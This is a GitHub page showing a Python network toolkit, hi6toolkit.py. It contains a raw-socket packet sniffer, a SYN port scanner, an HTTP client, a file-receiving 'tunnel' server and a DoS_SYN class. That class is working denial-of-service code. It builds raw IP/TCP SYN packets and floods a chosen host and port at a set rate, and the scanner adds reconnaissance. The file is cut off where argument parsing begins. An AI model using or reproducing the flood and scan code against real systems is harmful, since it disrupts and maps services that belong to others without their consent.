-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhi6toolkit.py
executable file
·1030 lines (924 loc) · 41.3 KB
/
hi6toolkit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/python3
import socket
import asyncio
import struct
import signal
import ssl
import sys
import os
import random
import time
import argparse
class Constant :
MODULE : bool = __name__ != "__main__"
TIME : int = round(time.time())
ISOS : bool = any([os in sys.platform for os in ("linux", "bsd", "darwin")])
SUP_COLOR : bool = True if os.getenv("COLORTERM") in ("truecolor", "24bit", "color24") and os.getenv("NOCOLOR") in (None, 0, "false", "no") else False
SLASH : str = chr(47)
TOOLS : dict = dict()
INFO : str = f"""\n
[System] : [{sys.platform.upper()}, {time.ctime()}]
[Hostname] : [{socket.gethostname()}, PID {os.getpid()}]
[Python] : [{sys.implementation.name.title()} {sys.version_info[0]}.{sys.version_info[1]}]
[GitHub] : [github.com/HI6Cypher]\n\n"""
def SIGNAL(signum : int, stk_frm : "frame") -> None :
func_name = stk_frm.f_code.co_name
func_line = str(stk_frm.f_code.co_firstlineno)
stack_size = str(stk_frm.f_code.co_stacksize)
EXCEPTION : None = lambda error : print("\n\n[" + Constant.RED("!") + "]" + f" Error : {error or None}", file = sys.stderr)
msg = Constant.RED(" **SIGNAL** ")
msg += "\n\n" + f"sig_num : {Constant.YELLOW(signal.Signals(signum).name)}"
msg += "\n" + f"process_stat : func {Constant.YELLOW(func_name)} in line {Constant.YELLOW(func_line)} with stacksize {Constant.YELLOW(stack_size)}\n"
EXCEPTION(msg)
sys.exit(1)
return None
def RED(text : str) -> str :
red = "\33[91m"
end = "\33[0m"
return red + text + end if Constant.SUP_COLOR else text
def GREEN(text : str) -> str :
green = "\33[92m"
end = "\33[0m"
return green + text + end if Constant.SUP_COLOR else text
def YELLOW(text : str) -> str :
yellow = "\33[93m"
end = "\33[0m"
return yellow + text + end if Constant.SUP_COLOR else text
def STANDARDIZE_MAC(mac : bytes) -> str :
return ":".join([f"{sec:02x}" for sec in mac])
class Sniff :
def __init__(self, iface : str, parse : bool, tmp : bool, saddr : str, daddr : str) -> "Sniff_class" :
self.iface = iface
self.parse = parse
self.tmp = tmp
self.saddr = saddr
self.daddr = daddr
self.generator = None
self.check_interface()
self.check_eth_p_all()
self.filter_saddr = saddr
self.filter_daddr = daddr
def __repr__(self) -> str :
items = "\n\t".join([f"{k} : {v}" for k, v in self.__dict__.items()])
return f"{self.__class__}\n\t{items}"
def __str__(self) -> str :
return f"Sniff : \n\t{self.iface}"
def __iter__(self) -> "Sniff_iteration" :
self.generator = self.sniff()
return self
def __next__(self) -> tuple[str | None, memoryview] :
try :
return next(self.generator)
except StopIteration :
self.generator = None
raise StopIteration
def parse_eth_header(self, data : memoryview | bytes) -> tuple[str, str | int] :
parsed_header = str()
t = "\n\t\t"
dst, src, typ = self.eth_header(data)
parsed_header += f"Ethernet Frame :{t}Source MAC : {src}{t}Destination MAC : {dst}{t}Ethernet Type : {typ}"
return parsed_header, typ
def parse_arp_header(self, data : memoryview | bytes) -> str :
parsed_header = str()
t = "\n\t\t"
hdr, prt, hln, pln, opc, sha, spa, tha, tpa = self.arp_header(data)
parsed_header += f"Arp Datagram :{t}Hardware Type : {hdr}{t}Protocol Type : {prt}{t}Hardware Length : {hln}"
parsed_header += f"{t}Protocol Length : {pln}{t}Opcode : {opc}{t}Sender Hardware Address : {sha}"
parsed_header += f"{t}Sender Protocol Address : {spa}{t}Target Hardware Address : {tha}"
parsed_header += f"{t}Target Protocol Address : {tpa}"
return parsed_header
def parse_ip_header(self, data : memoryview | bytes) -> tuple[str, int, str | int] :
parsed_header = str()
t = "\n\t\t"
ver, ihl, tos, tln, idn, flg, oft, ttl, prt, csm, src, dst = self.ip_header(data)
parsed_header += f"IPv4 Datagram :{t}Version : {ver} Header Length : {ihl} Time of Service : {tos}"
parsed_header += f"{t}Total Length : {tln} Identification : {idn} Flags : {flg}"
parsed_header += f"{t}Fragment Offset : {oft} TTL : {ttl} Protocol : {prt}"
parsed_header += f"{t}Checksum : {csm} Source : {src} Destination : {dst}"
return parsed_header, ihl, prt
def parse_tcp_header(self, data : memoryview | bytes) -> str :
parsed_header = str()
t = "\n\t\t"
src, dst, seq, acn, oft, flg, win, csm, urg, data = self.tcp_header(data)
parsed_header += f"TCP Segment :{t}Source Port : {src}{t}Destination Port : {dst}{t}Sequence : {seq}{t}Acknowledgment : {acn}{t}Data Offset : {oft}{t}Flags :{t}\t"
parsed_header += f"URG:{flg['urg']} ACK:{flg['ack']} PSH:{flg['psh']}{t}\tRST:{flg['rst']} SYN:{flg['syn']} FIN:{flg['fin']}{t}"
parsed_header += f"Window : {win}{t}Checksum : {csm}{t}Urgent Pointer : {urg}{t}Raw Data :\n{self.indent_data(data)}"
return parsed_header
def parse_udp_header(self, data : memoryview | bytes) -> str :
parsed_header = str()
t = "\n\t\t"
src, dst, tln, csm, data = self.udp_header(data)
parsed_header += f"UDP Segment :{t}Source Port : {src}{t}Destination Port : {dst}{t}Length : {tln}{t}Checksum : {csm}{t}Raw Data :\n{self.indent_data(data)}"
return parsed_header
def parse_icmp_header(self, data : memoryview | bytes) -> str :
parsed_header = str()
t = "\n\t\t"
typ, cod, csm, idn, seq, data = self.icmp_header(data)
parsed_header += f"ICMP Datagram :{t}Type : {typ}{t}Code : {cod}{t}Checksum : {csm}{t}Identifier : {idn}{t}Sequence : {seq}{t}Raw Data :\n{self.indent_data(data)}"
return parsed_header
def parse_headers(self, raw_data : memoryview | bytes) -> str :
parsed_headers = str()
spec_header = f"[+][DATALINK]________________{Constant.TIME}________________"
eth_data = raw_data[:14]
parsed_eth_header, typ = self.parse_eth_header(eth_data)
match typ :
case "IPv4" :
ip_data = raw_data[14:]
parsed_ip_header, ihl, prt = self.parse_ip_header(ip_data)
match prt :
case "TCP" :
tcp_data = raw_data[14 + ihl:]
transport_layer_header = self.parse_tcp_header(tcp_data)
case "UDP" :
udp_data = raw_data[14 + ihl:]
transport_layer_header = self.parse_udp_header(udp_data)
case "ICMP" :
icmp_data = raw_data[14 + ihl:]
transport_layer_header = self.parse_icmp_header(icmp_data)
case _ :
transport_layer_header = f"{prt} : unimplemented transport layer protocol"
parsed_headers += spec_header
parsed_headers += "\n\n"
parsed_headers += parsed_eth_header
parsed_headers += "\n\n"
parsed_headers += parsed_ip_header
parsed_headers += "\n\n"
parsed_headers += transport_layer_header
parsed_headers += "\n\n"
return parsed_headers
case "ARP" :
arp_data = raw_data[14:]
parsed_arp_header = self.parse_arp_header(arp_data)
parsed_headers += spec_header
parsed_headers += "\n\n"
parsed_headers += parsed_eth_header
parsed_headers += "\n\n"
parsed_headers += parsed_arp_header
parsed_headers += "\n\n"
return parsed_headers
case _ :
parsed_headers += spec_header
parsed_headers += "\n\n"
parsed_headers += parsed_eth_header
parsed_headers += "\n\n"
parsed_headers += f"{typ} : unimplemented network layer protocol"
parsed_headers += "\n\n"
return parsed_headers
def check_interface(self) -> None :
ifaces = [iface[-1] for iface in socket.if_nameindex()]
if self.iface not in ifaces :
raise OSError(f"{self.iface} not in {ifaces}")
self.iface = self.iface.encode()
return None
def check_ip(self, frame : memoryview | bytes) -> bool :
typ = bytes.hex(frame[12:14])
return typ == "0800"
def check_saddr_ip(self, frame : memoryview | bytes) -> bool :
src = ".".join((str(i) for i in tuple(frame[12:16])))
return src == self.filter_saddr
def check_daddr_ip(self, frame : memoryview | bytes) -> bool :
dst = ".".join((str(i) for i in tuple(frame[16:20])))
return dst == self.filter_daddr
def check_eth_p_all(self) -> None :
if "ETH_P_ALL" not in socket.__all__ :
socket.ETH_P_ALL = 3
return None
def filter(self, frame : memoryview | bytes) -> bool :
nonce = 0
if not (self.filter_saddr or self.filter_daddr) :
return False
if self.check_ip(frame) :
frame = frame[14:]
else : return True
if self.filter_saddr :
nonce += 1 if self.check_saddr_ip(frame) else -1
if self.filter_daddr :
nonce += 1 if self.check_daddr_ip(frame) else -1
return True if nonce <= 0 else False
def sniff(self) -> tuple[str | None, memoryview] :
while True :
yield self.__sniff()
@staticmethod
def eth_header(raw_payload : bytes) -> tuple[str, str, str | int] :
payload = struct.unpack("!6s6sH", raw_payload)
standardize_mac_addr : str = lambda x : ":".join([f"{sec:02x}" for sec in x])
dst = standardize_mac_addr(payload[0])
src = standardize_mac_addr(payload[1])
protos = {
0x0800 : "IPv4",
0x86dd : "IPv6",
0x0806 : "ARP"
}
typ = protos.get(payload[2], payload[2])
return dst, src, typ
@staticmethod
def ip_header(raw_payload : memoryview | bytes) -> tuple[int, int, int, int, int, int, int, int, str | int, int, str, str] :
payload = struct.unpack("!BBHHHBBH4s4s", raw_payload[:20])
ver = payload[0] >> 4
ihl = (payload[0] & 0xf) * 4
tos = payload[1]
tln = payload[2]
idn = payload[3]
flg = payload[4] >> 13
oft = payload[4] & 0x1fff
ttl = payload[5]
protos = {
0x0001 : "ICMP",
0x0006 : "TCP",
0x0011 : "UDP"
}
prt = protos.get(payload[6], payload[6])
csm = hex(payload[7])
src = socket.inet_ntop(socket.AF_INET, payload[8])
dst = socket.inet_ntop(socket.AF_INET, payload[9])
return ver, ihl, tos, tln, idn, flg, oft, ttl, prt, csm, src, dst
@staticmethod
def arp_header(raw_payload : memoryview | bytes) -> tuple[str | int, str | int, int, int, str | int, str, str, str, str] :
payload = struct.unpack("!HHBBH6s4s6s4s", raw_payload[:28])
standardize_mac_addr : str = lambda x : ":".join([f"{sec:02x}" for sec in x])
hdr = "Ethernet(1)" if payload[0] == 1 else payload[0]
protos = {
0x0800 : "IPv4",
0x86dd : "IPv6"
}
prt = protos.get(payload[1], payload[1])
hln = payload[2]
pln = payload[3]
opcodes = {
0x0001 : "ARP REQ",
0x0002 : "ARP REP"
}
opc = opcodes.get(payload[4], payload[4])
sha = standardize_mac_addr(payload[5])
spa = socket.inet_ntop(socket.AF_INET, payload[6])
tha = standardize_mac_addr(payload[7])
tpa = socket.inet_ntop(socket.AF_INET, payload[8])
return hdr, prt, hln, pln, opc, sha, spa, tha, tpa
@staticmethod
def tcp_header(raw_payload : memoryview | bytes) -> tuple[int, int, int, int, int, dict, int, int, int, memoryview | bytes] :
payload = struct.unpack("!HHLLBBHHH", raw_payload[:20])
src = payload[0]
dst = payload[1]
seq = payload[2]
acn = payload[3]
oft = (payload[4] >> 4) * 4
flg = payload[5]
urg = (flg & 32) >> 5
ack = (flg & 16) >> 4
psh = (flg & 8) >> 3
rst = (flg & 4) >> 2
syn = (flg & 2) >> 1
fin = flg & 1
flg = {
"urg" : urg,
"ack" : ack,
"psh" : psh,
"rst" : rst,
"syn" : syn,
"fin" :fin
}
win = payload[6]
csm = hex(payload[7])
urg = payload[8]
data = raw_payload[oft:]
return src, dst, seq, acn, oft, flg, win, csm, urg, data
@staticmethod
def udp_header(raw_payload : memoryview | bytes) -> tuple[int, int, int, int, memoryview | bytes] :
payload = struct.unpack("!HHHH", raw_payload[:8])
src = payload[0]
dst = payload[1]
tln = payload[2]
csm = hex(payload[3])
data = raw_payload[8:]
return src, dst, tln, csm, data
@staticmethod
def icmp_header(raw_payload : memoryview | bytes) -> tuple[int, int, int, int, int, memoryview | bytes] :
payload = struct.unpack("!BBHHH", raw_payload[:8])
typ = payload[0]
cod = payload[1]
csm = hex(payload[2])
idn = payload[3]
seq = payload[4]
data = raw_payload[8:]
return typ, cod, csm, idn, seq, data
@staticmethod
def indent_data(data : memoryview | bytes) -> str :
data = data.tolist()
for i in range(len(data)) :
if data[i] not in range(32, 127) : data[i] = 46
data.insert(0, 9)
data.insert(0, 9)
for i in range((len(data) // 64) + 1) :
index = (i + 1) * 64
data.insert(index, 9)
data.insert(index, 9)
data.insert(index, 10)
else :
data.insert(0, 10)
data.insert(0, 9)
data.insert(0, 9)
return bytes(data).decode()
@staticmethod
def tmp_file(data : str) -> None :
path = f"data_{Constant.TIME}.txt"
mode = "a" if os.path.exists(path) else "x"
print(data, file = open(path, mode))
return None
def __sniff(self) -> tuple[str | None, memoryview] :
with socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(socket.ETH_P_ALL)) as sniff :
sniff.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, self.iface)
while True :
raw_data = sniff.recvfrom(65535)[0]
raw_data_view = memoryview(raw_data)
if raw_data and not self.filter(raw_data_view) :
parsed_headers = str()
if self.parse :
parsed_headers = self.parse_headers(raw_data_view)
parsed_headers = parsed_headers.expandtabs(4)
if self.tmp and self.parse: self.tmp_file(parsed_headers)
return parsed_headers, raw_data_view
else : continue
class Scan :
def __init__(self, source : str, host : str, timeout : int, event_loop : "async_event_loop") -> "Scan_class" :
self.source = source
self.host = host
self.timeout = timeout
self.loop = event_loop
self.ipv4_static_header = self.ipv4_header()
self.opens = list()
def __repr__(self) -> str :
items = "\n\t".join([f"{k} : {v}" for k, v in self.__dict__.items()])
return f"{self.__class__}\n\t{items}"
def __str__(self) -> str :
return f"Scan : \n\t{self.host}\n\t{self.port}\n\t{self.timeout}"
def ipv4_header(self) -> bytes :
src = socket.inet_pton(socket.AF_INET, self.source)
dst = socket.inet_pton(socket.AF_INET, self.host)
randidn = random.randint(1024, 65535)
header = self.ip_header(src = src, dst = dst, idn = randidn)
checksum_ip_header = self.checksum(header)
header = self.ip_header(src = src, dst = dst, idn = randidn, csm = checksum_ip_header)
return header
def tcpip_header(self, port : int) -> tuple[bytes, int] :
src = socket.inet_pton(socket.AF_INET, self.source)
dst = socket.inet_pton(socket.AF_INET, self.host)
srp = random.randint(1024, 65535)
dsp = port
randseq = random.randint(0, 65535)
header = self.tcp_header(srp = srp, dsp = dsp, seq = randseq, syn = 1)
pseudo_header = self.pseudo_header(src = src, dst = dst, pln = len(header))
checksum_tcp_header = self.checksum(header + pseudo_header)
header = self.tcp_header(srp = srp, dsp = dsp, seq = randseq, syn = 1, csm = checksum_tcp_header)
return header, randseq
async def package(self, port : int) -> tuple[bytes, int] :
ip_header = self.ipv4_static_header
tcp_header = self.tcpip_header(port)
payload = ip_header + tcp_header[0]
return payload, tcp_header[1]
async def send(self, port : int) -> tuple[bool, bytes | None] :
try :
payload = await self.package(port)
with socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) as scan :
scan.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
scan.settimeout(self.timeout)
scan.setblocking(False)
scan.connect_ex((self.host, port))
await self.loop.sock_sendto(scan, payload[0], (self.host, port))
while True :
rsp = await self.loop.sock_recv(scan, 1024)
if self.check_acknum(payload[1], rsp[20:]) :
return True, rsp
except socket.timeout :
return False, None
async def scan(self, port : int) -> tuple[bool, bool] :
return await self.__scan(port)
@staticmethod
def is_open_port(tcp_header : bytes) -> bool :
flags = tcp_header[13:14]
ack_syn = bytes(flags).hex() == "12"
return True if ack_syn else False
@staticmethod
def check_acknum(acn : int, tcp_header : bytes) -> bool :
acknum_byte = tcp_header[8:12]
return True if int(bytes(acknum_byte).hex(), base = 16) - 1 == acn else False
@staticmethod
def ip_header(src : str, dst : str, idn : int = 0, csm : int = 0) -> bytes :
return DoS_SYN.ip_header(src = src, dst = dst, idn = idn, csm = csm)
@staticmethod
def tcp_header(srp : int = 0, dsp : int = 0, seq : int = 0, syn = 0, csm : int = 0) -> bytes :
return DoS_SYN.tcp_header(srp = srp, dsp = dsp, seq = seq, syn = 1, csm = csm)
@staticmethod
def pseudo_header(src : str, dst : str, pln : int = 0) -> bytes :
return DoS_SYN.pseudo_header(src = src, dst = dst, pln = pln)
@staticmethod
def checksum(data : bytes) -> int :
return DoS_SYN.checksum(data)
async def __scan(self, port : int) -> tuple[bool, bool] :
status, response = await self.send(port)
if status :
tcp_header = response[20:]
is_open = self.is_open_port(tcp_header)
if is_open :
self.opens.append(port)
return True, True
else :
return False, True
else :
if not Constant.MODULE : print("[" + Constant.YELLOW("UNSPECIFIED") + "]")
return False, False
class DoS_SYN :
def __init__(self, host: str, port : int, rate : int) -> "DoS_SYN_class" :
self.host = host
self.port = int(port)
self.rate = rate
def __repr__(self) -> str :
items = "\n\t".join([f"{k} : {v}" for k, v in self.__dict__.items()])
return f"{self.__class__}\n\t{items}"
def __str__(self) -> str :
return f"DoS_SYN : \n\t{self.host}\n\t{self.port}"
def package(self) -> bytes :
randip = self.random_ip()
randnum = lambda x : random.randint(x, 65535)
src = socket.inet_pton(socket.AF_INET, "192.168.129.207")
dst = socket.inet_pton(socket.AF_INET, self.host)
randidn = randnum(0)
ip_header = self.ip_header(src = src, dst = dst, idn = randidn)
checksum = self.checksum(ip_header)
ip_header = self.ip_header(src = src, dst = dst, idn = randidn, csm = checksum)
randseq = randnum(0)
randsrp = randnum(1024)
tcp_header = self.tcp_header(srp = randsrp, dsp = self.port, seq = randseq, syn = 1)
pseudo_header = self.pseudo_header(src = src, dst = dst, pln = len(tcp_header))
data = tcp_header + pseudo_header
tcp_checksum = self.checksum(data)
tcp_header = self.tcp_header(srp = randsrp, dsp = self.port, seq = randseq, syn = 1, csm = tcp_checksum)
payload = ip_header + tcp_header
return payload
def flood(self) -> None :
self.__flood()
return None
@staticmethod
def ip_header(src : str, dst : str,
ver : int = 4, ihl : int = 5,
tos : int = 0, tln : int = 40,
idn : int = 0, flg : int = 0,
oft : int = 0, ttl : int = 255,
prt : int = socket.IPPROTO_TCP, csm : int = 0) -> bytes :
ihl_ver = (ver << 4) + ihl
flg_oft = (flg << 13) + oft
datagram = struct.pack("!BBHHHBBH4s4s", ihl_ver, tos, tln, idn, flg_oft, ttl, prt, csm, src, dst)
return datagram
@staticmethod
def tcp_header(srp : int = 0, dsp : int = 0,
seq : int = 0, acn : int = 0,
oft : int = 5, urg : int = 0,
ack : int = 0, psh : int = 0,
rst : int = 0, syn : int = 0,
fin : int = 0, win : int = 65535,
csm : int = 0, urp : int = 0) -> bytes :
oft <<= 12
res = 0 << 6
flg = (urg << 5) + (ack << 4) + (psh << 3) + (rst << 2) + (syn << 1) + fin
oft_res_flg = oft + res + flg
segment = struct.pack("!HHLLHHHH", srp, dsp, seq, acn, oft_res_flg, win, csm, urp)
return segment
@staticmethod
def pseudo_header(src : str, dst : str,
res : int = 0, prt : int = socket.IPPROTO_TCP,
pln : int = 0) -> bytes :
segment = struct.pack("!4s4sBBH", src, dst, res, prt, pln)
return segment
@staticmethod
def checksum(data : bytes) -> int :
checksum = 0
for i in range(0, len(data), 2) :
word = (data[i] << 8) + data[i + 1]
checksum += word
checksum = (checksum >> 16) + (checksum & 65535)
checksum = (~ checksum) & 65535
return checksum
@staticmethod
def random_ip() -> str :
secs = [str(random.randint(0, 255)) for _ in range(0, 4)]
return ".".join(secs)
@staticmethod
def progress_bar(x : int, y : int) -> str :
symbol = Constant.SLASH
if y < 32 : return 32 * symbol if x == y else 0 * symbol
sec = y // 32
now = x // sec
return now * symbol
def __flood(self) -> None :
count = 0
while count != self.rate :
payload = self.package()
with socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) as flood :
flood.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
flood.connect((self.host, self.port))
flood.sendto(payload, (self.host, self.port))
flood.shutdown(socket.SHUT_RDWR)
count += 1
text = "[" + Constant.GREEN("+") + "]" + " " + f"{self.progress_bar(count, self.rate)}" + " " + f"[{count}/{self.rate}]"
print(text, end = "\r", flush = True)
else :
end_time = round((time.time() - Constant.TIME), 2)
print("\n[" + Constant.GREEN("+") + "]" + " " + "all SYN segments have sent")
print("[" + Constant.GREEN("+") + "]" + " " + f"{end_time}s")
return None
class HTTP_Request :
def __init__(self, host : str, port : int, method : str, header : str, end : str, https : bool) -> "HTTP_Request_class" :
self.host = host
self.port = int(port)
self.method = method if method in ("GET", "HEAD") else "GET"
self.header = header
self.end = end if end else "/"
self.https = bool(https)
self.request_header = str()
self.response = bytes()
self.response_header = str()
def __repr__(self) -> str :
items = "\n\t".join([f"{k} : {v}" for k, v in self.__dict__.items()])
return f"{self.__class__}\n\t{items}"
def __str__(self) -> str :
return f"HTTP_Request : \n\t{self.host}\n\t{self.port}"
def request(self) -> None :
self.__request()
return None
def __request(self) -> None :
if self.https : sslcontext = ssl.create_default_context()
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as http :
http.settimeout(30)
http = sslcontext.wrap_socket(http, server_hostname = self.host) if self.https else http
payload = [
f"{self.method} {self.end} HTTP/1.1",
f"Host: {self.host}",
"User-Agent: HI6ToolKit",
"Accept: */*",
"Connection: close",
"\r\n"
] if not self.header else self.header
payload = "\r\n".join(payload) if not self.header else payload
self.request_header = payload
if not Constant.MODULE : print(payload)
http.connect((self.host, self.port))
http.send(payload.encode())
raw_data = bytes()
while True :
response = http.recv(1024)
if not response :
raw_data = raw_data.split(b"\r\n\r\n", 1)
self.response_header = raw_data[0].decode()
self.response = raw_data[-1]
if not Constant.MODULE :
print(self.response_header, end = "\n\n")
if self.method == "GET" : print(self.response)
if self.https : http.close()
break
else :
raw_data += response
return None
class Tunnel :
def __init__(self, host : str, port : int, timeout : int, buffer : int) -> "Tunnel_class" :
self.host = host
self.port = port
self.timeout = timeout
self.buffer = buffer
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
def __repr__(self) -> str :
items = "\n\t".join([f"{k} : {v}" for k, v in self.__dict__.items()])
return f"{self.__class__}\n\t{items}"
def __str__(self) -> str :
return f"Tunnel : \n\t{self.host}\n\t{self.port}"
def tunnel(self) -> None :
self.__tunnel()
return None
def init_server(self) -> None :
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.settimeout(self.timeout)
self.sock.bind((self.host, self.port))
self.sock.listen(1)
return None
def get_header(self, sock : socket.socket) -> str :
header = bytes()
while not header.endswith(b"\r\n\r\n") :
header += self.readline(sock)
else : return header.decode()
@staticmethod
def open_file(name : str) -> "file" :
path = f"./{name}"
mode = "ab" if os.path.exists(path) else "wb"
return open(path, mode)
@staticmethod
def tmp_file(file : "open", data : bytes) -> None :
file.write(data)
return None
@staticmethod
def parse_headers(data : bytes) -> dict :
headers = {header.split(": ", 1)[0] : header.split(": ", 1)[-1] for header in data.split("\r\n")[1:-1]}
headers["status"] = data.split("\r\n", 1)[0].split(" ")[0]
headers["name"] = data.split("\r\n", 1)[0].split(" ")[1][1:]
headers["version"] = data.split("\r\n", 1)[0].split(" ")[-1]
return headers
@staticmethod
def get_name(headers : dict) -> str :
keyword = "name"
if keyword in headers and headers[keyword] :
return headers[keyword] + f"_{Constant.TIME}" + ".tmp"
else : return f"new_{Constant.TIME}.tmp"
@staticmethod
def get_length(headers : dict) -> int :
keyword = "Content-Length"
if keyword in headers :
return int(headers[keyword])
else : return 0
@staticmethod
def get_status(headers : dict) -> str | None :
keyword = "status"
if keyword in headers :
return headers[keyword]
else :
raise Exception("couldn't find status")
return None
@staticmethod
def get_version(headers : dict) -> str :
keyword = "version"
if keyword in headers :
return headers[keyword]
else : return "HTTP/1.0"
@staticmethod
def get_parts(length : int, buffer : int) -> tuple[int, int] :
if buffer > length : return length, 0
npart = length // buffer
nrimd = length % buffer
return nrimd, npart
@staticmethod
def readline(sock : socket.socket) -> bytes :
line = bytes()
while not line.endswith(b"\r\n") :
line += sock.recv(1)
else : return line
@staticmethod
def readbuffer(sock : socket.socket, buffer : int) -> bytes :
data = bytes()
while len(data) != buffer :
data += sock.recv(buffer - len(data))
else : return data
@staticmethod
def write(sock : socket.socket, data : bytes) -> None :
data = data if isinstance(data, bytes) else data.encode()
sock.sendall(data)
return None
@staticmethod
def prepare_response(version : str, success : bool) -> str :
if success :
payload = [
f"{version} 200 OK",
"User-Agent: HI6ToolKit",
"\r\n"
]
else :
payload = [
f"{version} 400 Bad Request",
"User-Agent: HI6ToolKit",
"\r\n"
]
payload = "\r\n".join(payload).encode()
return payload
@staticmethod
def progress_bar(x : int, y : int) -> str :
symbol = Constant.SLASH
if y < 32 : return 32 * symbol if x == y else 0 * symbol
sec = y // 32
now = x // sec
return now * symbol
@staticmethod
def percent(x : int, y : int) -> int :
return round((x / y) * 100)
def __tunnel(self) -> None :
print("[" + Constant.GREEN("+") + "]" + " " + "run init_server()", end = " ", flush = True)
self.init_server()
print(Constant.GREEN("DONE"))
print("[" + Constant.GREEN("+") + "]" + " " + "run socket.accept()")
conn, addr = self.sock.accept()
print("[" + Constant.GREEN("+") + "]" + " " + f"new connection from {addr[0]}:{addr[-1]}")
headers = self.parse_headers(self.get_header(conn))
print("[" + Constant.GREEN("+") + "]" + " " + "parsing header", end = " ", flush = True)
status, name, version, length = self.get_status(headers), self.get_name(headers), self.get_version(headers), self.get_length(headers)
print(Constant.GREEN("DONE"))
if not length :
print("[" + Constant.GREEN("+") + "]" + " " + f"couldn't find Content-Length, send Bad Request to {addr[0]}:{addr[1]}", end = " ", flush = True)
payload = self.prepare_response(version, False)
self.write(conn, payload)
print(Constant.GREEN("DONE"))
sys.exit()
send_length = 0
tail, parts = self.get_parts(length, self.buffer)
file = self.open_file(name)
OUTPUT : str = lambda x, y : "[" + Constant.GREEN("*") + "]" + " " + self.progress_bar(x, y) + " " + f"[{self.percent(x, y)}%]" + f"[{x}/{y}]"
while parts != 0 :
data = self.readbuffer(conn, self.buffer)
self.tmp_file(file, data)
send_length += self.buffer
print(OUTPUT(send_length, length), end = "\r", flush = True)
parts -= 1
else :
data = self.readbuffer(conn, tail)
self.tmp_file(file, data)
send_length += tail
print(OUTPUT(send_length, length), end = "\r", flush = True)
print("\n[" + Constant.GREEN("+") + "]" + " " + f"sending OK to {addr[0]}:{addr[-1]}", end = " ", flush = True)
payload = self.prepare_response(version, True)
self.write(conn, payload)
print(Constant.GREEN("DONE"))
return None
if not Constant.MODULE :
def manage_args() -> argparse.Namespace :
global Sniff_args, DoS_SYN_args, HTTP_Request_args, Tunnel_args
